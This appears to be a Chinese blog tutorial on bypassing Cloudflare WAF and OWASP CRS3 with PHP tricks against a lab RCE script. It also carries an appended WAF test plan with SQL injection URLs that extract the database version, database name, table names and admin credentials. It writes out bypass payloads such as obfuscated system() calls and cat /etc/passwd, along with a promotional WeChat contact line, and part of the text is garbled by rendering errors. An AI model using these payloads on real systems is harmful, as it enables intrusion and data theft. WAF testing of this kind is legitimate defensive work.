利用 PHP 特性绕 WAF 测试

在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图:

01.png

第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP
中有许多其他函数可以执行系统命令,这三个是最常见的)。

这个脚本部署在 Cloudflare WAF 和 ModSecurity + OWASP CRS3 之后。对于第一个测试,尝试读取 passwd 的内容;

/cfwaf.php?code=system(“cat /etc/passwd”);

02.png

可以看到,被 CloudFlare 拦截了,我们可以尝试使用未初始化变量的方式绕过,比如:

cat /etc$u/passwd

03.png

Cloudflare WAF 已被绕过,但是由于脚本检查敏感函数,所以被脚本拦截,那么如何绕过脚本的函数检测呢?我们看看关于字符串的 PHP 文档:

https://secure.php.net/manual/en/language.types.string.php

PHP 字符串转义序列:* [0–7]{1,3} 八进制表示法的字符序列,它会自动溢出以适应一个字节(例如“\400”===“\000”)* \x[0–9A-Fa-f]{1,2} 十六进制字符序列(例如“\x41”)* \u{[0–9A-Fa-f]+} Unicode 代码点序列,将作为该代码点的 UTF-8 表示输出到字符串(在 PHP 7.0.0 中添加)

不是每个人都知道 PHP 表示字符串的语法,而“PHP 变量函数”则成为我们绕过过滤器和规则的瑞士军刀。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

PHP变量函数

PHP 支持变量函数的概念。这意味着如果变量名后面附加了圆括号,PHP
将寻找与变量求值结果同名的函数,并尝试执行它。除其他事项外,这可用于实现回调、函数表等。

这意味着语法如 $var(args); 和 “sting”(args; 等于 func(args);
。如果我可以通过使用变量或字符串来调用函数,则意味着我可以使用转义序列而不是函数名。这里有一个例子:

04.png

第三种语法是十六进制符号的转义字符序列,PHP 将其转换为字符串“system”,然后使用参数“ls”转换为函数系统。让我们尝试使用易受攻击的脚本:

05.png

此技术不适用于所有 PHP 函数,变量函数不适用于 echo、print、unset()、isset()、empty()、include、require
。利用包装函数将这些构造中的任何一个用作变量函数。

改进用户输入检测

如果我从易受攻击脚本的用户输入中排除双引号和单引号等字符,会发生什么情况?即使不使用双引号也可以绕过它吗?让我们试试:

06.png

正如您在第三行看到的,现在脚本阻止在 $_GET[code] 查询字符串参数中使用“和”。我以前的有效负载现在应该被阻止:

07.png

幸运的是,在 PHP 中,我们并不总是需要引号来表示字符串。PHP 使您能够声明元素的类型,例如 a = ( s t r i n g ) f o o ; 在这种情况下, a = (string)foo; 在这种情况下, a=(string)foo;在这种情况下,a
包含字符串“foo”。此外,圆括号内没有特定类型声明的任何内容都被视为字符串:

08.png

在这种情况下,我们有两种方法可以绕过新过滤器:第一种是使用类似 (system)(ls)
的方法;但是我们不能在代码参数中使用“system”,所以我们可以像 (sy.(st).em)(ls); 一样连接字符串。第二种是使用 KaTeX parse error: Expected 'EOF', got '&' at position 24: …果我发送像 ?a=system&̲b=ls&code=GETa 这样的请求;结果是: G E T [ a ] 将替换为字符串“ s y s t e m ”, GET[a] 将替换为字符串“system”, GET[a]将替换为字符串systemGET[b]
将替换为字符串“ls”,我将能够绕过所有过滤器!

09.png

让我们尝试使用第一个有效负载 (sy.(st).em)(whoami);

10.png

和第二个有效载荷 ?

?a=system&b=cat+/etc&c=/passwd&code= G E T [ a ] ( \\_GET[a]( GET[a](\_GET[b].$\_GET[c]);

11.png

在这种情况下,没有用,但您甚至可以在函数名称和参数内部插入注释(这可能有助于绕过阻止特定 PHP 函数名称的 WAF 规则集)。以下所有语法均有效:

get_defined_functions 函数

此 PHP 函数返回一个多维数组,其中包含所有已定义函数的列表,包括内置(内部)函数和用户定义函数。内部函数可以通过 $arr[“internal”]
访问,用户定义的函数可以使用 $arr[“user”] 访问。例如:

12.png

这可能是另一种无需使用其名称即可访问系统功能的方法。如果我对“系统”进行 grep,我可以发现它的索引号并将其用作我的代码执行的字符串:

13.png

显然,这应该对我们的 Cloudflare WAF 和脚本过滤器有效:

14.png

字符数组

PHP 中的每个字符串都可以用作字符数组(几乎像 Python 那样),您可以使用语法 $string[2] 或 $string[-3]
引用单个字符串字符。这可能是另一种规避阻止 PHP 函数名称的规则的方法。例如,使用这个字符串 $a=”elmsty/ “; 我可以编写语法系统(“ls
/tmp”);

15.png

如果幸运的话,您可以在脚本文件名中找到所需的所有字符。使用相同的技术,您可以使用类似的方法选择所需的所有字符

16.png

17.png

OWASP CRS3

有了 OWASP CRS3,一切都变得更难了。首先,使用之前看到的技术,我只能绕过第一个偏执级别,这太神奇了!因为 Paranoia Level 1
只是我们可以在 CRS3 中找到的规则的一小部分,所以这个级别旨在防止任何误报。对于 2 级偏执狂,由于规则 942430“受限 SQL
字符异常检测(args):超出特殊字符数”,所有事情都变得困难。我能做的只是执行一个不带参数的命令,如“ls”、“whoami”等。但我无法像使用
Cloudflare WAF 那样执行类似 system(“cat /etc/passwd”) 的命令:

18.png

19.png

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对比启明星辰、绿盟、安恒等品牌WAF在应用攻击保护时的策略防护能力。 二. 测试步骤 2.1 环境漏洞验证 验证序号 1 验证方法 用and 1=1和and 1=2验证注入漏洞 测试步骤 1. 在浏览器打开http://192.168.1.155/ypnew_view.asp?id=791正常页面 2. 修改浏览器URL:http://192.168.1.155/ypnew_view.asp?id=791 and 1=1-- 3. 修改浏览器URL:http://192.168.1.155/ypnew_view.asp?id=791 and 1=2-- 漏洞验证 若执行步骤2与步骤1均能正常访问页面,执行步骤3得出不同的访问页面,说明存在注入漏洞 验证结果 用户签字 2.2 防护效果测试 测试序号 1 测试项目 防止黑客利用注入漏洞获取数据库版本和操作系统信息 描述 获取数据库版本和操作系统信息是黑客入侵的前提,本项主要是测试WEB防护设备能否有效的防止数据库版本和操作系统信息的泄漏 测试步骤 1、 正常浏览192.168.1.155/ypnew_view.asp?id=791 2、 在攻击机浏览器中输入以下URL: http://192.168.1.155/ypnew_view.asp?id=791 and 1=2 union all select 1,2,3,4,@@version,'6',null,null,null,null,null,null,null,null from sysobjects-- 预期结果 数据库版本信息未泄露 备注 如出现下图,说明数据库版本信息泄露,WEB应用防护设备未起作用 测试结果 用户签字 测试序号 2 测试项目 防止黑客利用注入漏洞获取数据库库名 描述 数据库库名是黑客进行SQL注入时常获取的信息,有效地防护数据库信息可以能大大降低注入攻击的风险,本项主要测试WEB应用防护设备是否能防护数据库信息泄露漏洞 测试步骤 在攻击机浏览器中输入以下URL: http://192.168.1.155/ypnew_view.asp?id=791 and 1=2 union all select 1,2,3,4,db_name(),'6',null,null,null,null,null,null,null,null from sysobjects-- 预期结果 数据库信息未泄露 备注 若在测试结果中出现下图,说明没有防护效果。 测试结果 客户签名 测试序号 3 测试项目 防止黑客通过注入漏洞获取数据库表名信息 描述 当黑客成功获得数据库的版本和数据库库名后,数据库中表的名称和内容就是SQL注入攻击的下一目标,本项主要测试WEB应用防护设备是否能防护获取数据库表名的攻击 测试步骤 1. 在攻击机浏览器中输入以下URL: 192.168.1.155/ypnew_view.asp?id=791 and 1=2 union all select 1,2,3,4,(select top 1 name from sysobjects where xtype='U' and name not in (select top 2 name from sysobjects where xtype='U')),null,null,null,null,null,null,null,null,null from sysobjects-- 2. 在攻击机浏览器中输入以下URL: 192.168.1.155/ypnew_view.asp?id=791 and 1=2 union all select 1,2,3,4,(select top 1 name from sysobjects where xtype='U' and name not in (select top 37 name from sysobjects where xtype='U')),null,null,null,null,null,null,null,null,null from sysobjects-- 预期结果 数据库table名未泄露 备注 如出现以下图示,说明WEB防护效果未起作用,数据库表泄漏 测试结果 用户签字 测试序号 4 测试项目 防止黑客利用update修改数据库的内容 描述 如果黑客成功获取了数据库和表的相关信息,将会尝试修改表内的数据,直接篡改网站内容,因此对于恶意修改数据库内容的入侵要求严格防护.本项将测试web防护设备是否能防护通过update方式修改数据库内容的恶意攻击 测试步骤 利用注入漏洞使用Update方式修改数据库内容 预期结果 数据库内容未被篡改 备注 攻击机中输入以下URL,如出现页面被篡改,说明防护失效 http://192.168.1.155/ypnew_view.asp?id=791 测试结果 用户签字 测试序号 5 测试项目 防止黑客利用注入漏洞获取后台账号信息 描述 后台管理员的账号密码信息如果泄露,黑客就可以对网站进行各种严重损坏客户利益的破坏,本项测试WEB应用防护设备能否有效防护网站管理员后台账号密码信息泄漏 测试步骤 利用注入漏洞获取后台账号信息 预期结果 不能获得后台用户名密码: 备注 当出现下图时,说明用户名密码被盗取,WEB应用防护设备无效果 打开http://192.168.1.155/admin/index.asp,输入用户名密码,可直接管理后台:http://192.168.1.155/admin 测试结果 客户签名

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值